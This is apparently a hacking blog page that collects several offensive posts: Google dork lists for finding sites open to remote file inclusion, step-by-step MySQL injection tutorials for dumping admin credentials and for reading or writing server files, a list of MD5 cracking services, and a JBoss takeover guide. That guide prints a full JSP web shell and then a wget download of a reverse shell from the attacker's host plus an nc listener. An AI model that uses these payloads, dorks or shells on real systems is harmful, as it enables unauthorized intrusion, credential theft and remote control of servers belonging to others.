RFI Dorks II

 Yet another RFI dork.. Just play arounds. got root? r0x

/path/authentication/phpbb3

/phpbb3.functions.php?pConfig_auth[phpbb_path]=

/includes/functions_portal.php?phpbb_root_path=

/includes/functions_mod_user.php?phpbb_root_path=

/includes/openid/Auth/OpenID/BBStore.php?openid_root_path=

/language/lang_german/lang_main_album.php?phpbb_root_path=

link_main.php?phpbb_root_path=

/inc/nuke_include.php?newsSync_enable_phpnuke_mod=1&new sSync_NUKE_PATH=

MOD_forum_fields_parse.php?phpbb_root_path=

/codebb/pass_code.php?phpbb_root_path=

/codebb/lang_select?phpbb_root_path=

includes/functions_nomoketos_rules.php?phpbb_root_path=

includes/functions.php?phpbb_root_path=

/includes/functions.php?phpbb_root_path=

/ezconvert/config.php?ezconvert_dir=

/includes/class_template.php?phpbb_root_path=

/includes/usercp_viewprofile.php?phpbb_root_path=

/includes/functions.php?phpbb_root_path=

/includes/functions.php?phpbb_root_path=

menu.php?sesion_idioma=

/includes/functions.php?phpbb_root_path=

/admin/admin_linkdb.php?phpbb_root_path=

/admin/admin_forum_prune.php?phpbb_root_path=

/admin/admin_extensions.php?phpbb_root_path=

/admin/admin_board.php?phpbb_root_path=

/admin/admin_attachments.php?phpbb_root_path=

/admin/admin_users.php?phpbb_root_path=

/includes/archive/archive_topic.php?phpbb_root_path=

/admin/modules_data.php?phpbb_root_path=

/faq.php?foing_root_path=

/index.php?foing_root_path=

/list.php?foing_root_path=

/login.php?foing_root_path=

M.O.R.E >> "RFI Dorks II"

SQL Injection Tutorial by ro0t3r (MySQL) - Basic

 Source :
SQL Injection Tutorial by ro0t3r (MySQL)

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.


First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).


1.SQL Injection (classic or error based or whatever you call it)

2.Blind SQL Injection (the harder part)


So let's start with some action


1). Check for vulnerability

Let's say that we have some site like this

Code:

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be

Code:

http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

Code:

http://www.site.com/news.php?id=5 order by 1/* <-- no error

Code:

http://www.site.com/news.php?id=5 order by 2/* <-- no error

Code:

http://www.site.com/news.php?id=5 order by 3/* <-- no error

Code:

http://www.site.com/news.php?id=5 order by 4/* <-- error

(we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

Code:

http://www.site.com/news.php?id=5 union all select 1,2,3/*

(we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works

4). Check for MySQL version

Code:

http://www.site.com/news.php?id=5 union all select 1,2,3/*

NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this

Code:

http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

i didn't see any paper covering this problem, so i must write it

what we need is convert() function

i.e.

Code:

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

Code:

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

Code:

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/*

(we see number 2 on the screen like before, and that's good )

we know that table admin exists...

now to check column names.

Code:

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/*

(if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

Code:

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/*

(if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice

for that we can use concat() function (it joins strings)

i.e

Code:

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

Code:

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

Code:

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

Code:

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

Code:

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

Code:

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

Code:

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc...

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be

Code:

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.

Code:

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc...

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e

Code:

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together

for that we use concat() , i decribe it earlier.

i.e

Code:

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com


That's all in this part, now we can proceed on harder part on next tutorial:)

M.O.R.E >> "SQL Injection Tutorial by ro0t3r (MySQL) - Basic"

MD5 Cracker Web List

Just wanna share with you guys. A list of web/services for cracking a md5 hash.
Check it out. r0x d4 n3tw0rk

- md5gle.com

- online md5 cracker,md5 reverse, md5 decrypt (457,354,352,282)

- md5Crack.com | online md5 cracker

- [ md5 crack password crack hash checker ]

- md5cracker.tk (MD5 Search engine by searches a total of 14 on-line crackers.)

- Index of / (5,889,729)

- AP3 Designs

- http://md5-db.com (The database is approximately 70gb)

- md5.rednoize.com - reverse engineer md5 hashes - powered by rednoize.com (56,502,235)

- GData: An Online MD5 Hash Database (3,251,106)

- TMTO[dot]ORG (306.000.000.000)

- milw0rm.com - free md5/lm hash cracking (Milw0rm Cracker db)

- BlackLight's hash cracker (2,456,288)

- .:Shell-Storm.org:. | DataBase MD5 | ( The data base currently contains 169582 passwords )

- Parallels Confixx (Need Account)

- Passwords recovery - MD5, SHA1, MySQL (Register to increase your priority)

- md5ÔÚÏß²éѯÆƽâ|md5½âÃÜ|md5¼ÓÃÜ|salt

- Hashkiller.com

- plain-text.info

- insidepro.com

- md5decrypter.co.uk

- c0llision.net

- md5pass.info

- hashcrack.com

- generuj.pl

- authsecu.com

- md5decryption.com

- chwett.com/md5

- md5this.com

- tmto.org

- kerinci.net

- hash.db.hk

- crackfor.me

- md5hood.com

- neofusion.de

- md5.shalla.de

- md5.my-addr.com

- hashcracking.info <-- API: https://hashcracking.info/check.php?hash= {hash}

- md5.opencracking.info

- md5online.net

- macrosoftware.ro/md5

- netmd5crack.com

- bokehman.com

- hash-database.net

- thoran.eu

- md5-database.net

- web-security-services.com

- bitdelivery.net



-----------------------------------------------------------------
CRACKED PASSWORD LIST
-----------------------------------------------------------------
www.md5oogle.com
[ md5 crack password crack hash checker ]
milw0rm.com - free md5/lm hash cracking
darkc0de.com [ index ]

-----------------------------------------------------------------
MULTI
-----------------------------------------------------------------
md5cracker.org
md5.igrkio.info
hashkiller.com
hashchecker.de
sinhalayo159.07x.net


-----------------------------------------------------------------
IRC
-----------------------------------------------------------------
plain-text.info (irc.Plain-Text.info #rainbowcrack |||| irc.rizon.net #rainbowcrack)
md5.overclock.ch (irc.rizon.net #md5)
c0llision.net (irc.after-all.org #md5crack |||| ircd.hopto.org #md5crack)



-----------------------------------------------------------------
ICQ
-----------------------------------------------------------------
c0llision.net (427-921-047) <- md5, ntlm
hashkiller.com (405-701-776) <- md5



-----------------------------------------------------------------
LM
-----------------------------------------------------------------
lmcrack.com
plain-text.info


-----------------------------------------------------------------
NTLM
-----------------------------------------------------------------
plain-text.info
md5decrypter.co.uk


-----------------------------------------------------------------
SHA1
-----------------------------------------------------------------
md5.rednoize.com
hash.db.hk
md5decrypter.co.uk


-----------------------------------------------------------------
SHA256
-----------------------------------------------------------------
md5.shalla.de
hash.db.hk


-----------------------------------------------------------------
RAINBOW TABLE
-----------------------------------------------------------------
Free Rainbow Tables » Distributed Rainbow Cracking » LM, NTLM, MD5, SHA1, HALFLMCHALL, MSCACHE
Rainbow Tables . net

M.O.R.E >> "MD5 Cracker Web List"

Exploit & Hack any version of JBOSS

OK.. in this post I will share how to hack ANY version of JBOSS and get root to the target machine.
kekeke..
Step by Step
1) Browse the target machine : http://mytargettest.com:8080
2) Click on the JMX-CONSOLE, if you can see the page, that's great.
3) Now you need to create a war file with our shell.

3.1) mkdir WEB-INF
3.2)vi cmd.jsp and insert this:

<%@ page import="java.util.*,java.io.*"%><%%><HTML><BODY>Commands with JSP<FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%if (request.getParameter("cmd") != null) {out.println("Command: " + request.getParameter("cmd") + "<BR>");Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}}%></pre></BODY></HTML>

3.3)vi WEB-INF/web.xml  and insert this:

<?xml version="1.0" ?><web-app xmlns="http://java.sun.com/xml/ns/j2ee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://java.sun.com/xml/ns/j2eehttp://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"version="2.4"><servlet><servlet-name>Command</servlet-name><jsp-file>/cmd.jsp</jsp-file></servlet></web-app>

3.4) now you have to compile it :  jar cvf cmd.war WEB-INF cmd.jsp
3.5) Move this file to your pentest webserver, you will need to download this file to the target machine.
4) Now browse 
http://mytargettest.com:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL
5) Search for "void addURL()"
6) Insert the address for your war file , in my case  :  http://172.16.1.79/exploits/cmd.war  and click INVOKE
7) It will take about 1min , then you can browse your application http://mytargettest.com:8080/cmd/cmd.jsp
8) Now you just need to type the commands like.. "id" , if you are not root, then you need to find a exploit to root the machine
9) Meanwhile you can get shell to the machine doing this
10) Download to the machine a reverse shell  : wget -P /tmp http://172.16.1.79/exploits/airwolf_reverse_shell
11) chmod +x /tmp/airwolf_reverse_shell
12) prepare your pentest machine to get the reverse shell :  nc -l -p 8080 -vvv 
13) Run the reverse shell on the target machine  : /tmp/airwolf_reverse_shell
14) you are now connected to the server.

Now r0x d4 n3tw0rk

M.O.R.E >> "Exploit & Hack any version of JBOSS"

RFI Dork Collection

Google Dorks for Remote File Inclusion
My old collections of RFI DORKs. So just wanna share wit u guys. Have phunk and r0x d4 n3tw0rk.

--------------------------------------------------------

inurl:/modules/My_eGallery/public/displayCategory.php?basepath=

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/include/new-visitor.inc.php?lvc_include_dir=

inurl:/_functions.php?prefix=

inurl:/cpcommerce/_functions.php?prefix=

inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/ashnews.php?pathtoashnews=

inurl:/eblog/blog.inc.php?xoopsConfig[xoops_url]=

inurl:/pm/lib.inc.php?pm_path=

inurl:/b2-tools/gm-2-b2.php?b2inc=

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/includes/include_once.php?include_file=

inurl:/e107/e107_handlers/secure_img_render.php?p=

inurl:/shoutbox/expanded.php?conf=

inurl:/main.php?x=

inurl:/myPHPCalendar/admin.php?cal_dir=

inurl:/index.php/main.php?x=

inurl:/index.php?include=

inurl:/index.php?x=

inurl:/index.php?open=

inurl:/index.php?visualizar=

inurl:/template.php?pagina=

inurl:/index.php?pagina=

inurl:/index.php?inc=

inurl:/includes/include_onde.php?include_file=

inurl:/index.php?page=

inurl:/index.php?pg=

inurl:/index.php?show=

inurl:/index.php?cat=

inurl:/index.php?file=

inurl:/db.php?path_local=

inurl:/index.php?site=

inurl:/htmltonuke.php?filnavn=

inurl:/livehelp/inc/pipe.php?HCL_path=

inurl:/hcl/inc/pipe.php?HCL_path=

inurl:/inc/pipe.php?HCL_path=

inurl:/support/faq/inc/pipe.php?HCL_path=

inurl:/help/faq/inc/pipe.php?HCL_path=

inurl:/helpcenter/inc/pipe.php?HCL_path=

inurl:/live-support/inc/pipe.php?HCL_path=

inurl:/gnu3/index.php?doc=

inurl:/gnu/index.php?doc=

inurl:/phpgwapi/setup/tables_update.inc.php?appdir=

inurl:/forum/install.php?phpbb_root_dir=

inurl:/includes/calendar.php?phpc_root_path=

inurl:/includes/setup.php?phpc_root_path=

inurl:/inc/authform.inc.php?path_pre=

inurl:/include/authform.inc.php?path_pre=

inurl:index.php?nic=

inurl:index.php?sec=

inurl:index.php?content=

inurl:index.php?link=

inurl:index.php?filename=

inurl:index.php?dir=

inurl:index.php?document=

inurl:index.php?view=

inurl:*.php?sel=

inurl:*.php?session=&content=

inurl:*.php?locate=

inurl:*.php?place=

inurl:*.php?layout=

inurl:*.php?go=

inurl:*.php?catch=

inurl:*.php?mode=

inurl:*.php?name=

inurl:*.php?loc=

inurl:*.php?f=

inurl:*.php?inf=

inurl:*.php?pg=

inurl:*.php?load=

inurl:*.php?naam=

allinurl:/index.php?page= site:*.dk

allinurl:/index.php?file= site:*.dk

INURL OR ALLINURL WITH:

/temp_eg/phpgwapi/setup/tables_update.inc.php?appdir=

/includes/header.php?systempath=

/Gallery/displayCategory.php?basepath=

/index.inc.php?PATH_Includes=

/ashnews.php?pathtoashnews=

/ashheadlines.php?pathtoashnews=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/demo/includes/init.php?user_inc=

/jaf/index.php?show=

/inc/shows.inc.php?cutepath=

/poll/admin/common.inc.php?base_path=

/pollvote/pollvote.php?pollname=

/sources/post.php?fil_config=

/modules/My_eGallery/public/displayCategory.php?basepath=

/bb_lib/checkdb.inc.php?libpach=

/include/livre_include.php?no_connect=lol&chem_absolu=

/index.php?from_market=Y&pageurl=

/modules/mod_mainmenu.php?mosConfig_absolute_path=

/pivot/modules/module_db.php?pivot_path=

/modules/4nAlbum/public/displayCategory.php?basepath=

/derniers_commentaires.php?rep=

/modules/coppermine/themes/default/theme.php?THEME_DIR=

/modules/coppermine/include/init.inc.php?CPG_M_DIR=

/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=

/coppermine/themes/maze/theme.php?THEME_DIR=

/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=

/myPHPCalendar/admin.php?cal_dir=

/agendax/addevent.inc.php?agendax_path=

/modules/mod_mainmenu.php?mosConfig_absolute_path=

/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=

/main.php?page=

/default.php?page=

/index.php?action=

/index1.php?p=

/index2.php?x=

/index2.php?content=

/index.php?conteudo=

/index.php?cat=

/include/new-visitor.inc.php?lvc_include_dir=

/modules/agendax/addevent.inc.php?agendax_path=

/shoutbox/expanded.php?conf=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/pivot/modules/module_db.php?pivot_path=

/library/editor/editor.php?root=

/library/lib.php?root=

/e107/e107_handlers/secure_img_render.php?p=

/zentrack/index.php?configFile=

/main.php?x=

/becommunity/community/index.php?pageurl=

/GradeMap/index.php?page=

/index4.php?body=

/side/index.php?side=

/main.php?page=

/es/index.php?action=

/index.php?sec=

/index.php?main=

/index.php?sec=

/index.php?menu=

/html/page.php?page=

/page.php?view=

/index.php?menu=

/main.php?view=

/index.php?page=

/content.php?page=

/main.php?page=

/index.php?x=

/main_site.php?page=

/index.php?L2=

/content.php?page=

/main.php?page=

/index.php?x=

/main_site.php?page=

/index.php?L2=

/index.php?show=

/tutorials/print.php?page=

/index.php?page=

/index.php?level=

/index.php?file=

/index.php?inter_url=

/index.php?page=

/index2.php?menu=

/index.php?level=

/index1.php?main=

/index1.php?nav=

/index1.php?link=

/index2.php?page=

/index.php?myContent=

/index.php?TWC=

/index.php?sec=

/index1.php?main=

/index2.php?page=

/index.php?babInstallPath=

/main.php?body=

/index.php?z=

/main.php?view=

/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

/index.php?file=

/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=


1. allinurl:my_egallery site:.org
/modules/My_eGallery/public/displayCategory.php?basepath=

2. allinurl:xgallery site:.org
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

3. allinurl:coppermine site:.org
/modules/coppermine/themes/default/theme.php?THEME_DIR=

4. allinurl:4nAlbum site:.org
/modules/4nAlbum/public/displayCategory.php?basepath=

5. allinurlP:NphpBB2 site:.org
/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

6. allinurl:ihm.php?p=

7. Keyword : "powered by AllMyLinks"
/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

8. allinurl:/modules.php?name=allmyguests
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

9. allinurl:/Popper/index.php?
/Popper/index.php?childwindow.inc.php?form=

10. google = kietu/hit_js.php, allinurl:kietu/hit_js.php
yahoo = by Kietu? v 3.2
/kietu/index.php?kietu[url_hit]=

11. keyword : "Powered by phpBB 2.0.6"
/html&highlight=%2527.include($_GET[a]),exit.%2527&a=

12. keyword : "powered by CubeCart 3.0.6"
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

13. keyword : "powered by paBugs 2.0 Beta 3"
/class.mysql.php?path_to_bt_dir=

14. allinurl:"powered by AshNews", allinurl:AshNews atau allinurl: /ashnews.php
/ashnews.php?pathtoashnews=

15. keyword : /phorum/login.php
/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=

16. allinurl:ihm.php?p=*

14. keyword : "powered eyeOs"
/eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5d=system($cmd);&cmd=id
diganti dengan :
/eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5d=include($_GET%5ba%5d);&a=

15. allinurl:.php?bodyfile=

16. allinurl:/includes/orderSuccess.inc.php?glob=
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

17. allinurl:forums.html
/modules.php?name=

18. allinurl:/default.php?page=home

19. allinurl:/folder.php?id=

20. allinurl:main.php?pagina=
/paginedinamiche/main.php?pagina=

21. Key Word: ( Nuke ET Copyright 2004 por Truzone. ) or ( allinurl:*.edu.*/modules.php?name=allmyguests ) or ( "powered by AllMyGuests")
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

22. allinurl:application.php?base_path=
/application.php?base_path=

23. allinurlp:hplivehelper
/phplivehelper/initiate.php?abs_path=

24. allinurlp:hpnuke
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

25. key word : "powered by Fantastic News v2.1.2"
/archive.php?CONFIG[script_path]=

26. keyword: "powered by smartblog" AND inurl:?page=login
/index.php?page=

27. allinurl:/forum/
/forum/admin/index.php?inc_conf=

28. keyword:"Powered By FusionPHP"
/templates/headline_temp.php?nst_inc=

29. allinurl:shoutbox/expanded.php filetypep:hp
/shoutbox/expanded.php?conf=

30. allinurl: /osticket/
/osticket/include/main.php?config[search_disp]=true&include_dir=

31. keyword : "Powered by iUser"
/common.php?include_path=

32. allinurl: "static.php?load="
/static.php?load=

33. keyworld : /phpcoin/login.php
/phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=

34. keyworld: allinurl:/phpGedview/login.php site:
/help_text_vars.php?dir&PGV_BASE_DIRECTORY=

35. allinurl:/folder.php?id=
/classes.php?LOCAL_PATH=

inurl:"/lire.php?rub="

inurl:"/os/pointer.php?url="

inurl:"folder.php?id="

inurl:"show.php?page="

inurl:"index2.php?DoAction="

inurl:"index.php?canal="

inurl:"index.php?screen="

inurl:"index.php?langc="

inurl:"index.php?Language="

inurl:"view.php?page="

dork: "powered by doodle cart"
rfi of this dork: enc/content.php?Home_Path=

dork: "Login to Calendar"
rfi of this dork: /embed/day.php?path=

dork: "powered by EQdkp"
rfi of this dork: /includes/dbal.php?eqdkp_root_path=

inurl:"template.php?goto="

inurl:"video.php?content="

inurl:"pages.php?page="

inurl:"index1.php?choix="

inurl:"index1.php?menu="

inurl:"index2.php?ascii_seite="

dork: inurl:surveys
rfi to this dork: /surveys/survey.inc.php?path=

inurl:"index.php?body="

dork: allinurl:adobt sitel
rfi to this dork: /classes/adodbt/sql.php?classes_dir=

dork: "Powered By ScozNews"
rfi to this dork: /sources/functions.php?CONFIG[main_path]=
rfi to this dork: /sources/template.php?CONFIG[main_path]=

inurl:"kb_constants.php?module_root_path="

dork: allinurl:"mcf.php"
rfi to this dork: /mcf.php?content=

dork: inurl:"main.php?sayfa="
rfi to this dork: /main.php?sayfa=

dork: "MobilePublisherPHP"
rfi to this dork: /header.php?abspath=

dork: "powered by phpCOIN 1.2.3"
rfi to rhis dork: /coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=

allinurl:login.php?dir=

inurl:"index.php?go="

inurl:"index1.php?="

inurl:"lib/gore.php?libpath="

inurl:"index2.php?p="

M.O.R.E >> "RFI Dork Collection"

MySQL Injection - Simple Load File and Into OutFile

MySQL Injection - Simple Load File and Into OutFile

Introduction

If you know (basic) MySQL Injection, you can read this tutorial...

Ok, let's see now what are Load File and Into OutFile.

-- What are Load File and Into OutFile?
That are syntaxes (used in MySQL Injections).

Load File: Reads the file and returns the file contents as a string.
Into OutFile: Writes the selected rows to a file. The file is created on the server host, so you must have the file privilege to use this syntax. File to be written cannot be an existing file, which among other things prevents files (such as "/etc/passwd") and database tables from being destroyed.
(... from: MySQL.com)

Ok, let's begin now!

-

Access to "mysql.user" table and file privileges

If you are using MySQL Injection method (to hack sites), and before you find target table (and columns),
check, if you have access to "mysql.user" table.
And you must replace in URL one visible column (i.e. number, that is shown, on page), with (string) "user", to see user name.

Let's see our example:

http://vulnsite.com/index.php?id=-1+union+all+select+1,user,3,4+
from+mysql.user--

In our example, column (number) 2 can be seen on our vulnerable page.

If page returns user name, in place where is that visible column (shown) on site, that's good - you have access (to "mysql.user" table), and you can continue to read this tutorial. Don't forget to remember user name that you have seen!

In our example that happens (we have access to "mysql.user" table), and we can continue to check now if we have file privileges.
You must now replace in URL: "user", with (string) "group_concat(user,0x3a,file_priv)",
to check, if you have file privileges on (your) vulnerable site.

Here is our example:

http://vulnsite.com/index.php?id=-1+union+all+select+1,group_concat
(user,0x3a,file_priv),3,4+from+mysql.user--

Now on place, where is that (visible) column shown (i.e. replaced), it lists users and file privileges (in format: User name:File privileges, ...), and you must find user name that you have seen before, and when you find that user name, look on right side (near that user name), and if it writes "Y" (that means Yes), you have file privileges (and you can continue to read this tutorial), otherwise, if it writes "N" (that means No), you haven't file privileges.
In our example we have file privileges (of course) - "... ,ouruser:Y, ...".

Let's go now to the next part.

-

Using Load File syntax

Load File is useful when you want to read some (configuration) files (it's like LFI - Local File Inclusion), ex. "/etc/passwd", "/etc/shadow", etc.

Syntax is: load_file('FILE')

Here is our example - if we want to read "/etc/passwd" file:

http://vulnsite.com/index.php?id=-1+union+all+select+1
,load_file('/etc/passwd'),3,4+from+mysql.user--

In place where is column (number) 2, it will show (source of) "/etc/passwd" file (on page).

Note 1: "../" - means move to directory back.

Note 2: If it shows error (when you try to read some file) - it has magic quotes enabled (it add slashes before and after "'" symbols), and you have to (avoid that and) convert file name (i.e. text/string), to Hex or Char (and then remove "'" symbols):

For Hex - Always put "0x" (text) before hex string (without any spaces), and that (final) string must not contain (any) spaces(!) ; ex. (Load File - "/etc/passwd":) load_file(0x2f6574632f706173737764)

For Char - Usage: char(NUMBERS,NUMBERS,NUMBERS...) ; If you convert string (i.e. text) to Char, and if converted text (to Char) contain spaces (between numbers), you must replace all that spaces with commas(!) ; ex. (Load File - "/etc/passwd":) load_file(char(47,101,116,99,47,112,97,115,115,119,100))
BTW. Here is one translator, i.e. text to Hex and (text to) Char converter:

http://home2.paulschou.net/tools/xlate/

That's all for Load File syntax.

-

Using Into OutFile syntax

Into OutFile is useful when you want to write/make some file (on your vulnerable site/server), ex. make (simple PHP) file, that is vulnerable on RFI (Remote File Inclusion), and then exploit that hole...

Syntax is: INTO OUTFILE 'FILE'
Note 1: That syntax must be always on end (it's like table)! Ex. ...+INTO+OUTFILE+'/FILE'--
To write (your) text in (your) file (on vulnerable site/server), replace in URL one visible column (i.e. number, that is shown, on page), with (your) text (to be written, in your file), in quotes...

Let's see our example - we want to write text "testing" in file "test.txt" (on our vulnerable site/server), in site directory:

http://vulnsite.com/index.php?id=-1+union+all+select+1,"testing"
,3,4+INTO+OUTFILE+'/home/vulnsite/www/test.txt'--

Note 2:

If you have two or more visible columns (i.e. numbers, that are shown, on your vulnerable page), you have to replace that columns (i.e. numbers, in URL), with word "null"(!) (If you don't replace, that numbers will be written together with your text in your file, on vulnerable site/server.)
In our example, visible columns are - 2 and 3 (and we must do replacing):

http://vulnsite.com/index.php?id=-1+union+all+select+1,"testing"
,null,4+INTO+OUTFILE+'/home/vulnsite/www/test.txt'--

And then, if page loads normally (without any errors), we have successfully made our file (on our vulnerable site/server), and location of our file (on our vulnerable site/server), will be:

http://vulnsite.com/test.txt

Note 3: If you want to use in (your) text (to be written, in your file) Return/Enter button, just (type your text somewhere - in converter/translator, and) convert it to Hex or Char...

Note 4: You must write (i.e. make all your files) into site path, otherwise, Into OutFile syntax won't work.

Note 5: If it shows blank (i.e. error, on page), where should be located (your) text (to be written, in your file) - it has magic quotes enabled (it add slashes before and after "'" symbols), and you have to (avoid that and) convert text (i.e. string), to Hex or Char (and then remove "'" symbols) - see above explanation (and link to converter), in (end of) part 3...

Warning: Don't convert (your) file name into Hex or Char, otherwise, it won't work (that's only for Into OutFile syntax)! And, if (your) vulnerable site have magic quotes (feature) enabled, Into OutFile syntax will not work.

Finish...

M.O.R.E >> "MySQL Injection - Simple Load File and Into OutFile"

Hash Type

For you guys as refferer
Sharing is caring.. kekeke

ES(Unix) IvS7aeT4NzQPM

Domain Cached Credentials Admin:b474d48cdfc4974d86e f4d24904cdd91

MD5(Unix) $1$12345678$XM4P3PrKBgKNn TaqG9P0T/

MD5(APR) $apr1$12345678$auQSX8Mvzt .tdBi4y6Xgj.

MD5(phpBB3) $H$9123456785DAERgALpsri. D9z3ht120

MD5(WordPress) $P$B123456780BhGFYSlUqGyE 6ErKErL01

MySQL 606717496665bcba

MySQL5 *E6CC90B878B948C35E92B003 C792C46C58C4AF40

RAdmin v2.x 5e32cceaafed5cc80866737df b212d7f

MD5 c4ca4238a0b923820dcc509a6 f75849b

md5($pass.$salt) 6f04f0d75f6870858bae14ac0 b6d9f73:1234

md5($salt.$pass) f190ce9ac8445d249747cab7b e43f7d5:12

md5(md5($pass)) 28c8edde3d61a0411511d3b18 66f0636

md5(md5($pass).$salt) 6011527690eddca23580955c2 16b1fd2:wQ6

md5(md5($salt).md5($pass) ) 81f87275dd805aa018df8befe 09fe9f8:wH6_S

md5(md5($salt).$pass) 816a14db44578f516cbaef25b d8d8296:1234

md5($salt.$pass.$salt) a3bc9e11fddf4fef4deea11e3 3668eab:1234

md5($salt.md5($salt.$pass )) 1d715e52285e5a6b546e44279 2652c8a:1234

md5($hex_salt.$pass.$hex_ salt) a3bc9e11fddf4fef4deea11e3 3668eab:31323334

SHA-1 356a192b7913b04c54574d18c 28d46e6395428ab

sha1(strtolower($username ).$pass) Admin:6c7ca345f63f835cb35 3ff15bd6c5e052ec08e7a

